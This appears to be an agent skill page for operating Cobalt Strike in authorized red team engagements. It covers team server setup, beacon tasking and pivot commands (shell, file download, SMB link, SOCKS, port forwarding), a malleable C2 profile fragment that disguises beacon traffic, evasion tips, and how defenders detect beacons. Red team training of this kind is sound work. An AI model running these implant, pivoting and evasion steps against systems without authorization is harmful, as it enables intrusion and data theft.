# C2 Cobalt Strike Operations

> Use when operating Cobalt Strike in an authorized red team engagement or a licensed lab exercise. Covers team server setup and operator authentication, beacon generation and session management, malleable C2 profiles that shape beacon traffic, Beacon commands for tasking and pivoting, OPSEC rules for authorized use, and detection by defenders through beacon behavior, network fingerprints, and endpoint telemetry.

- Skill: `mizazhaider-ceh/c2-cobalt-strike-operations` (Agent Skill)
- Install (CLI): `npx get-skill add mizazhaider-ceh/c2-cobalt-strike-operations`
- Raw SKILL.md: https://api.skillmd.com/api/skills/mizazhaider-ceh/c2-cobalt-strike-operations/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: mizazhaider-ceh (https://skillmd.com/u/mizazhaider-ceh)
- Updated: 2026-11-22
- Page: https://skillmd.com/skills/mizazhaider-ceh/c2-cobalt-strike-operations

---


Cobalt Strike is a commercial adversary emulation platform. A team
server holds beacons and operator sessions, operators connect with the
Cobalt Strike client, and beacons are the implants that check in,
receive tasks, and return results. This skill covers operating it in
authorized engagements and licensed lab exercises only, under a signed
rules of engagement, with a licensed copy. Unlicensed use is out of
scope for this skill and for any authorized engagement.

## Quick Workflow

1. Confirm the license, the engagement scope, and the allowed beacon types in the rules of engagement.
2. Provision a dedicated team server host, separate from any redirector.
3. Start the team server with a strong team server password and a malleable profile for the engagement.
4. Connect operator clients, one account per operator, over an authenticated channel.
5. Generate beacons for the target platform, and record the exact profile and listener used.
6. Task beacons inside agreed hours, log every action, and keep sessions minimal.
7. Kill every beacon, stop the team server, and tear down infrastructure at engagement end.

## 1. Team server setup

The team server is the single most sensitive host in the operation. It
stores beacon keys, operator credentials, and tasking history. Harden
it like any sensitive server, meaning updates applied, SSH key only,
firewall rules that allow only the operator port and the listener
ports, and no other services. Never expose the team server directly to
targets. Put a redirector in front of it, as covered by the
c2-redirectors skill.

```bash
# Start the team server with a strong password and a profile
./teamserver 10.0.0.5 'use-a-long-random-team-password-here' engagement.profile

# Confirm the team server is listening on the expected ports only
ss -tlnp | grep -E "50050|443|80"
```

The default operator port is 50050. Change it only if the plan
requires it, and record the change, because operators connecting to
the wrong port waste engagement time. Store the team server password
in the engagement secret store, never in a chat log, ticket, or shared
document.

```bash
# Connect the Cobalt Strike client to the team server
./cobaltstrike
```

Inside the client, connect to the team server address, operator port,
and team server password, and confirm the event log shows your
operator joining. Create no shared operator account. One operator, one
login, so every beacon task is attributable in the report.

## 2. Listeners and beacons

A listener defines how beacons call back, including protocol, port,
and host. An HTTP or HTTPS listener blends into web traffic. A DNS
listener works where web egress is filtered but DNS is open, at the
cost of slow throughput and high visibility in DNS logs. An SMB
listener carries beacons between internal hosts without touching the
perimeter, which is where Cobalt Strike meets network pivoting.

```bash
# Check team server health and listener status from the client console
# Listeners view shows each listener, its protocol, host, and port
# Verify the HTTPS listener points at the redirector domain, not the team server
```

Generate beacons only for platforms and architectures confirmed in
recon, and only through approved delivery methods inside the
engagement scope. A staged beacon fetches its full payload from the
team server at run time, which is smaller but needs a second
connection. A stageless beacon carries everything in one binary, which
is larger but works where the second connection is blocked. Choose
based on what the target network actually allows.

## 3. Malleable profiles

A malleable C2 profile defines what beacon traffic looks like on the
wire. It sets the sleep time, jitter, HTTP methods, URIs, headers,
user agents, and how data is encoded inside requests and responses.
The profile is loaded when the team server starts, and changing it
mid-engagement requires a team server restart, so get it right in the
lab first.

```c
# Malleable C2 profile fragment for an authorized engagement
set sleeptime "60000";
set jitter "30";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";

http-get {
    set uri "/static/js/app.min.js";
    client {
        header "Accept" "application/javascript";
        header "Accept-Language" "en-US,en;q=0.9";
        metadata {
            base64url;
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/javascript";
        output {
            base64url;
            print;
        }
    }
}
```

Test the profile end to end in the lab, from beacon generation
through tasking and result return, before the engagement window
opens. A profile that looks perfect on paper but breaks tasking in
practice costs the whole first day. Keep total beacon size small and
irregular, rotate URIs and user agents across beacons, and never use
a profile copied from a public example without changing its URIs,
headers, and encoding, because defenders already know those defaults.

## 4. Beacon tasking and pivoting

Beacon commands run from the beacon console. Set sleep and jitter to
match the profile and the agreed hours, task the beacon, and collect
results. Keep tasking minimal and purposeful, and never run an
interactive command on a production host without a reason recorded in
the notes.

```
beacon> sleep 60 30
beacon> jitter 30
beacon> pwd
beacon> ls
beacon> shell whoami
beacon> download C:\Users\test\notes.txt
```

Pivoting from a beacon reaches internal hosts through the beacon
itself. An SMB beacon linked from an HTTP beacon extends reach without
a new internet connection. SOCKS proxying through a beacon lets
operator tooling reach internal subnets, and port forwarding through a
beacon reaches a single internal service. Each of these multiplies
blast radius, so each needs its own scope check and log entry.

```
beacon> link \\TARGET-HOST\pipe\beacon-pipe
beacon> socks 1080
beacon> rportfwd 8080 10.1.2.3 80
```

Stop every pivot when its task ends. A forgotten SOCKS proxy is an
open door into the client network that outlives the engagement, and
that is an incident, not a leftover.

## 5. OPSEC for authorized use

OPSEC in a Cobalt Strike engagement is discipline, not stealth for
its own sake. Keep beacons inside agreed hours unless 24/7 operation
is explicitly allowed. Cap exfiltration volumes in the rules and
enforce the cap, because bulk collection without justification is an
incident. Separate infrastructure per client and per engagement, and
never reuse a profile, domain, certificate, or beacon binary across
engagements. If the blue team detects a beacon, record the detection
time and technique, because measuring detection is often the
engagement objective. When the blue team asks you to stop, stop
immediately and start teardown.

## Edge cases

- A beacon that never calls back usually means the listener host, port, or profile is wrong. Check redirector logs before assuming detection.
- Changing a malleable profile requires a team server restart, which drops active beacons. Schedule profile changes between phases, never mid-task.
- Beacon sleep and jitter apply per beacon. Fifty beacons checking in together is still a flood, so stagger initial check-ins.
- A stageless beacon that is too large for the approved delivery method fails before it starts. Confirm delivery size limits in the lab.
- Team server password exposure means every operator session is suspect. Rotate the password and restart the team server immediately.
- Leaving beacons alive after the engagement ends is an incident you caused. Verify silence for a full beacon interval past the longest sleep before declaring closure.

## Detection and defender view

Defenders detect Cobalt Strike through beacon timing regularity,
default profile indicators such as known URIs and headers, JA3 TLS
fingerprints that do not match real browsers, named pipe patterns for
SMB beacons, and endpoint behavior such as process injection and
child processes spawned by the beacon. Public profile defaults are
already in detection rules, which is why a copied profile is a
liability. Assume a competent blue team will find a long-running
beacon, share indicators with the defensive contact after the
engagement, and treat time to detection as a measured result.

## Key references

- MITRE ATT&CK T1071 Application Layer Protocol
- MITRE ATT&CK T1071.001 Web Protocols
- MITRE ATT&CK T1071.004 DNS
- MITRE ATT&CK T1090 Proxy
- MITRE ATT&CK T1059 Command and Scripting Interpreter
- MITRE ATT&CK T1573 Encrypted Channel
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- Cobalt Strike docs: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm
- Malleable C2 profile language reference: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2.htm

